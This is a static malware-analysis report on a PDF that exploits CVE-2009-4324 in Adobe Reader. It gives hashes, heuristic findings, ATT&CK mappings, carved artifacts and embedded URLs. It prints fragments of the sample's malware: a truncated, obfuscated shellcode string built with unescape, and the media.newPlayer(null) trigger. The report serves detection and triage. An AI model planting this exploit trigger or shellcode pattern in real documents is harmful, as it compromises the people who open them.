Malicious PDF — malware analysis report

Static analysis result for SHA-256 dc121d5bb41e172e…

MALICIOUS

PDF

121.2 KB Created: 2010-03-15 20:30:50 +08:00 Authoring application: Writer (via OpenOffice.org 3.0) First seen: 2026-05-11
MD5: 9d73e705bfda78dc60076e12a016af21 SHA-1: 88d8a17aef7c2ced2cbb753e7663baaf7b3db77e SHA-256: dc121d5bb41e172e06bb08e9d43bb286d0bd5de5cb8a56e84bf0b0a99476b4bf
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript that is obfuscated using unescape() calls, indicating malicious intent. The critical heuristic 'CVE_2009_4324' specifically points to the exploitation of a known vulnerability in Adobe Reader via the media.newPlayer API, which is triggered by the embedded JavaScript. This suggests the document is designed to download and execute a secondary payload. No specific malware family was identified.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9713

Heuristics 8

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc =  unescape(urpl("%Zc8d9%Z74d9%Zf424%Zecba%Zdee0%Z29dc%Z5fc9%Z37b1%Z5731%Z8314%Z1c03%Z243c%Z4e05%Zdcde%Z59ec%Zdcda%Ze0ec%Zb881%Zd04d%Zdcde%Z6bec%Zd09e%Z9067%Z71c2%Z8867%Z8dd6%Z9567%Z57e2%Zce98%Zdfa6%Zb619%Zaa55%Ze3cc%Zef2b%Za925%Z719f%Z25ef%Z07ed%Z5ee3%Ze4ce%Z941e%Z1dd6%Zed27%Z06dd%Z0bac%Ze72f%Z95f3%Z8239%Zbe67%Zdffa%Z8631%Zd055%Z6ba7%Zc080%Z3def%Zd855%Ze367%Z771b%Z02b5%Zef62%Z6337%Zd81d%Ze086%Z238d%Z1cbb%Zdbe5%Z1399%Z8357%Z7910%Z8e8c%Z9713%Z23da%Z1c9b%Z8b21%Z7914%Z9cb4%Ze084%Zdcce%Z1fec% …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comhttp://www.monotype.com/html/type/license.html Referenced by PDF JavaScript
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONReferenced by PDF JavaScript
    • http://www.microsoft.com/typography/ctfontshttp://fontfabrik.comYouReferenced by PDF JavaScript
    • http://www.microsoft.com/typography/ctfontshttpReferenced by PDF JavaScript
    • http://www.microsoft.com/typography/fonts/default.aspxReferenced by PDF JavaScript

Extracted artifacts 7

Files carved from inside the sample during analysis.

FilenameKindSourceSize
stream_004_off0000063a.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x63A 2578 bytes
SHA-256: ad2faefcc30021633aaf358ca5c30f7f09e50773ed7f1db8b3e4973585328ccc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x63A 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
objstm_0023_00.bin pdf-objstm-decoded PDF /ObjStm 23 0 obj (inflated) 274 bytes
SHA-256: e8bfe65c34a535b0837ce7c541e45b42ab61e1ff13de05788daf7770f9a1ec0e
font_00_sfnt_off00019865.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x19865 2440 bytes
SHA-256: 975b57b9bfc77fc0319a1d8d2b6eee25fcde2e0d69a041e1a8d97e8721908a42
font_01_sfnt_off00019e87.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x19E87 21900 bytes
SHA-256: b8bf3092fa2f75279d51530187fb22ae9caff35232b8aeb731c4d8e0c26e3b42
polyglot_child_pdf_off0000e1fb.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0xE1FB 66224 bytes
SHA-256: 31d12ad31f3472b55e1289ccbd9897099e951d68cf58832bd9cd0655f8a603c6
polyglot_child_pdf_off0001ccbe.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x1CCBE 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8